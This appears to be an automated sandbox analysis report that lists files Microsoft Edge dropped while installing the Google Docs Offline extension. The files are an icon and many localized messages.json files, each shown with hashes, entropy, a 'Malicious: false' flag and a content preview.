Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
